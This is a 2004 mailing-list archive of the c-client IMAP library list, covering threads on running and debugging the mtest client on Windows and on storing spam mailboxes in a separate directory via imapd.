ESMTP id i9KLJtR2011127 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Oct 2004 14:19:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9KLJifD016238; Wed, 20 Oct 2004 14:19:45 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KLINE6122002 for ; Wed, 20 Oct 2004 14:18:23 -0700 Received: from imo-m25.mx.aol.com (imo-m25.mx.aol.com [64.12.137.6]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9KLIMlx001949 for ; Wed, 20 Oct 2004 14:18:23 -0700 Received: from DavidDDaveg@aol.com by imo-m25.mx.aol.com (mail_out_v37_r3.8.) id d.42.5ae18979 (3842) for ; Wed, 20 Oct 2004 17:18:20 -0400 (EDT) Message-Id: <42.5ae18979.2ea8301c@aol.com> Date: Wed, 20 Oct 2004 17:18:20 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: c-client@u.washington.edu Subject: How to run the mtest? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098307100" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -------------------------------1098307100 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi, How to run the mtest client? Where do I suppose to provide the IMAP server/port, and where to input my mail address and signon? Appreciated for the help! -D -------------------------------1098307100 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
    Hi,
     
    How to run the mtest client? Where do I suppose to provide the IMAP=20 server/port, and where to input my mail address and signon?
     
    Appreciated for the help!
     
    -D
     
     -------------------------------1098307100-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 20 14:36:48 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Oct 2004 14:36:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KLalJ7016000 for ; Wed, 20 Oct 2004 14:36:47 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KLakNw009086 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Oct 2004 14:36:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9KLaeP9008454; Wed, 20 Oct 2004 14:36:40 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KLZrXp030984 for ; Wed, 20 Oct 2004 14:35:53 -0700 Received: from imo-m20.mx.aol.com (imo-m20.mx.aol.com [64.12.137.1]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9KLZqh4017526 for ; Wed, 20 Oct 2004 14:35:52 -0700 Received: from DavidDDaveg@aol.com by imo-m20.mx.aol.com (mail_out_v37_r3.8.) id d.197.3195c4fa (3842) for ; Wed, 20 Oct 2004 17:35:45 -0400 (EDT) Message-Id: <197.3195c4fa.2ea83431@aol.com> Date: Wed, 20 Oct 2004 17:35:45 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: c-client@u.washington.edu Subject: How to build c-client in debug MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098308145" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -------------------------------1098308145 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi, I don't not really know how to modify the makefiles. Does anyone know how to build c-client and mtest in debug? Thanks! -------------------------------1098308145 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
    Hi,
     
    I don't not really know how to modify the makefiles. Does anyone know h= ow=20 to build c-client and mtest in debug?
     
    Thanks!
     -------------------------------1098308145-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 21 14:19:38 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Oct 2004 14:19:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9LLJccA031858 for ; Thu, 21 Oct 2004 14:19:38 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9LLJafr002583 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Oct 2004 14:19:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9LLJQh7014178; Thu, 21 Oct 2004 14:19:26 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9LLHkF0031218 for ; Thu, 21 Oct 2004 14:17:46 -0700 Received: from imo-m18.mx.aol.com (imo-m18.mx.aol.com [64.12.138.208]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9LLHiDa020374 for ; Thu, 21 Oct 2004 14:17:45 -0700 Received: from DavidDDaveg@aol.com by imo-m18.mx.aol.com (mail_out_v37_r3.8.) id d.55.64825dc6 (14374) for ; Thu, 21 Oct 2004 17:17:29 -0400 (EDT) Message-Id: <55.64825dc6.2ea98168@aol.com> Date: Thu, 21 Oct 2004 17:17:28 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: c-client@u.washington.edu Subject: Fwd: How to run the mtest? MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="part1_55.64825dc6.2ea98168_boundary" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --part1_55.64825dc6.2ea98168_boundary Content-Type: multipart/alternative; boundary="-----------------------------1098393448" -------------------------------1098393448 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit I tried to test with mtest client but still not get it right. I must did something wrong, could someone tell me what is the right way to use mtest? Thanks! ------------------------ MTest -- C client test program Personal name: abc Debug protocol (y/n)?y Mailbox ('?' for help): {www.mailtraq.com} [Trying IP address [217.29.193.30]] ----------------------- This is the print out, after last line it Access violation-ed at char *ip_sockaddrtoname (struct sockaddr *sadr) ... ... if (canonical && cur->ai_canonname) *canonical = cur->ai_canonname; -------------------------------1098393448 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
     
    I tried to test with mtest client but still not get it right.
    I must did something wrong, could someone tell me what is the right way= to=20 use mtest?
     
    Thanks!
     
    ------------------------
    MTest -- C client test program
    Personal name: abc
    Debug protocol (y/n)?y
    Mailbox ('?' for help):=20 {www.mailtraq.com}
    [Trying IP address [217.29.193.30]]
    -----------------------
     
    This is the print out, after last line it Access violation-ed at
     
    char *ip_sockaddrtoname (struct sockaddr *sadr)
    ... ...
    if (canonical && cur->ai_canonname) *canonical =3D=20 cur->ai_canonname;
     
     
     
     -------------------------------1098393448-- --part1_55.64825dc6.2ea98168_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from rly-xb01.mx.aol.com (rly-xb01.mail.aol.com [172.20.64.133]) by air-xb04.mail.aol.com (v101_r1.6) with ESMTP id MAILINXB42-864176d67f367; Wed, 20 Oct 2004 17:20:23 -0400 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by rly-xb01.mx.aol.com (v101_r1.6) with ESMTP id MAILRELAYINXB14-864176d67f367; Wed, 20 Oct 2004 17:20:00 -0400 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9KLJqmq011076; Wed, 20 Oct 2004 14:19:53 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9KLINE6122002 for ; Wed, 20 Oct 2004 14:18:23 -0700 Received: from imo-m25.mx.aol.com (imo-m25.mx.aol.com [64.12.137.6]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9KLIMlx001949 for ; Wed, 20 Oct 2004 14:18:23 -0700 Received: from DavidDDaveg@aol.com by imo-m25.mx.aol.com (mail_out_v37_r3.8.) id d.42.5ae18979 (3842) for ; Wed, 20 Oct 2004 17:18:20 -0400 (EDT) Message-Id: <42.5ae18979.2ea8301c@aol.com> Date: Wed, 20 Oct 2004 17:18:20 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: c-client@u.washington.edu Subject: How to run the mtest? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098307100" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __AOL_MUA 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-AOL-IP: 140.142.14.165 X-Mailer: Unknown (No Version) -------------------------------1098307100 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi, How to run the mtest client? Where do I suppose to provide the IMAP server/port, and where to input my mail address and signon? Appreciated for the help! -D -------------------------------1098307100 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
    Hi,
     
    How to run the mtest client? Where do I suppose to provide the IMAP=20 server/port, and where to input my mail address and signon?
     
    Appreciated for the help!
     
    -D
     
     -------------------------------1098307100-- --part1_55.64825dc6.2ea98168_boundary-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 21 15:04:09 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Oct 2004 15:04:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9LM48YA001476 for ; Thu, 21 Oct 2004 15:04:08 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9LM471Q005993 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Oct 2004 15:04:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9LM40pt017216; Thu, 21 Oct 2004 15:04:01 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9LM3DwS043628 for ; Thu, 21 Oct 2004 15:03:13 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9LM3Dch014327 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 21 Oct 2004 15:03:13 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9LM3Cvd018336; Thu, 21 Oct 2004 15:03:12 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9LM3B75006248 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Oct 2004 15:03:12 -0700 Message-Id: Date: Thu, 21 Oct 2004 15:03:14 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: DavidDDaveg@aol.com Cc: c-client@u.washington.edu Subject: Re: Fwd: How to run the mtest? In-Reply-To: <55.64825dc6.2ea98168@aol.com> References: <55.64825dc6.2ea98168@aol.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does this problem happen in the latest imap-2004b development snapshot on ftp://ftp.cac.washington.edu/mail/imap-2004b.DEV.tar.Z ?? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 21 17:38:51 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Oct 2004 17:38:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9M0coOm007170 for ; Thu, 21 Oct 2004 17:38:51 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9M0cnR0008151 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Oct 2004 17:38:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9M0cesQ013970; Thu, 21 Oct 2004 17:38:40 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9M0bJDW111564 for ; Thu, 21 Oct 2004 17:37:19 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9M0bJl2005751 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 21 Oct 2004 17:37:19 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9M0bIke001806; Thu, 21 Oct 2004 17:37:18 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9M0bIaj026993 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Oct 2004 17:37:18 -0700 Message-Id: Date: Thu, 21 Oct 2004 17:37:20 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ralf Utermann Cc: c-client@u.washington.edu Subject: Re: adding a namespace for spam In-Reply-To: <41766ADE.9090104@Physik.Uni-Augsburg.DE> References: <41766ADE.9090104@Physik.Uni-Augsburg.DE> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 20 Oct 2004, Ralf Utermann wrote: > we currently test a mail system doing spam detection before > delivery. Spam, which has been detected, as well as training > mailboxes for good and spam, should be located in a separate > directory (per user) on the server, not in the users home directory (because > the spam training program has no access to the Homes). > > Could this be implemented with a separate namespace? Any hints > about how to do this? I don't think that there's much point in having a separate namespace as opposed to just creating a mailbox (or a directory of mailboxes) named "spam" or "junk" to deposit the spam. Some clients handle namespaces poorly, so a simple mailbox or directory is probably a better place for the spam... -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 22 01:20:51 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 2004 01:20:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9M8KoFR019493 for ; Fri, 22 Oct 2004 01:20:50 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9M8KnNV022650 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 22 Oct 2004 01:20:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9M8Khnr014464; Fri, 22 Oct 2004 01:20:44 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9M8JNCJ114338 for ; Fri, 22 Oct 2004 01:19:23 -0700 Received: from mail1.RZ.Uni-Augsburg.DE (mail1.RZ.Uni-Augsburg.DE [137.250.121.10]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9M8JMMr024658 for ; Fri, 22 Oct 2004 01:19:22 -0700 Received: from bernina.physik.uni-augsburg.de ([137.250.80.10]) by mail1.RZ.Uni-Augsburg.DE with esmtp (Exim 4.34) id 1CKudt-000ICg-3m; Fri, 22 Oct 2004 10:19:21 +0200 Received: from watzmann.physik.uni-augsburg.de ([137.250.80.192]) by bernina.Physik.Uni-Augsburg.DE with esmtp (Exim 4.30) id 1CKudt-000Bj6-93; Fri, 22 Oct 2004 10:19:21 +0200 Message-Id: <4178C288.4090905@Physik.Uni-Augsburg.DE> Date: Fri, 22 Oct 2004 10:19:20 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: adding a namespace for spam In-Reply-To: References: <41766ADE.9090104@Physik.Uni-Augsburg.DE> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Virus-Scanned: b55b8f42dabe5a3e5554a61a5cd40a7e X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Wed, 20 Oct 2004, Ralf Utermann wrote: > >> we currently test a mail system doing spam detection before >> delivery. Spam, which has been detected, as well as training >> mailboxes for good and spam, should be located in a separate >> directory (per user) on the server, not in the users home directory >> (because >> the spam training program has no access to the Homes). >> >> Could this be implemented with a separate namespace? Any hints >> about how to do this? > > > I don't think that there's much point in having a separate namespace as > opposed to just creating a mailbox (or a directory of mailboxes) named > "spam" or "junk" to deposit the spam. > > Some clients handle namespaces poorly, so a simple mailbox or directory > is probably a better place for the spam... Mark, thanks for the quick response. I would also prefer the simple way -- my problem is that the users' homes live in a filesystem with ticket based access (DCE/DFS) where the spam tool has no access. Currently I handle this by running a patched imapd on a separate port, and this one uses a standard Unix filesystem to store the mailboxes. However there are several minor problems with this solution: - from our webmail gateway, which is just out-of-the box squirrelmail, one can not have concurrent access to two accounts, so I cannot train the spam database from this client. - even in a normal imap client it would be easier to handle everything within one account - needed quite some patches to make imapd listen on a separate ssl port, run with a different name than "imaps", change mymailboxdir() and SUBSCRIPTIONFILE You say, namespaces are not a good solution. Would it possible to hardcode a special name for a directory into imapd, so that everything starting with 'spamctl' would not map to file in the standard home, but a different directory on a local filesystem? Thanks, Ralf -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 From pinedev@shivax2.cac.washington.edu Fri Oct 22 05:01:05 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 2004 05:01:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9MC14nH026784 for ; Fri, 22 Oct 2004 05:01:04 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9MC13ld029087 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 22 Oct 2004 05:01:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9MC0v5C017814; Fri, 22 Oct 2004 05:00:57 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9MBxV4X070664 for ; Fri, 22 Oct 2004 04:59:31 -0700 Received: from imo-d20.mx.aol.com (imo-d20.mx.aol.com [205.188.139.136]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9MBxU8q026496 for ; Fri, 22 Oct 2004 04:59:30 -0700 Received: from DavidDDaveg@aol.com by imo-d20.mx.aol.com (mail_out_v37_r3.8.) id f.197.31cab36a (3858); Fri, 22 Oct 2004 07:59:19 -0400 (EDT) Message-Id: <197.31cab36a.2eaa5017@aol.com> Date: Fri, 22 Oct 2004 07:59:19 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: DavidDDaveg@aol.com To: MRC@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: Re: How to run the mtest? MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="-----------------------------1098446359" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __AOL_FROM 0, __BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -------------------------------1098446359 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Yes, I downloaded two days ago. I build it with VC 7. on Windows XP. I was thinking maybe I missed some input for mtest. -------------------------------1098446359 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable
    Yes, I downloaded two days ago. I build it with VC 7. on Windows XP.
    I was thinking maybe I missed some input for=20 mtest.
     -------------------------------1098446359-- From pinedev@shivax2.cac.washington.edu Fri Oct 22 06:39:38 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Oct 2004 06:39:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9MDdcOk028926 for ; Fri, 22 Oct 2004 06:39:38 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9MDdbq5031546 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 22 Oct 2004 06:39:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i9MDdWcs013170; Fri, 22 Oct 2004 06:39:32 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i9MDbG56123328 for ; Fri, 22 Oct 2004 06:37:16 -0700 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i9MDbEQK019341 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 22 Oct 2004 06:37:15 -0700 Received: from quixote.unet.brandeis.edu (localhost.localdomain [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.11/8.12.11) with ESMTP id i9MDbCmL026332 for ; Fri, 22 Oct 2004 09:37:12 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.12.11/8.12.11/Submit) with ESMTP id i9MDbBM8026328 for ; Fri, 22 Oct 2004 09:37:12 -0400 Message-Id: Date: Fri, 22 Oct 2004 09:37:11 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Re: adding a namespace for spam In-Reply-To: <4178C288.4090905@Physik.Uni-Augsburg.DE> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-X-Sender: rcgraves@quixote.unet.brandeis.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 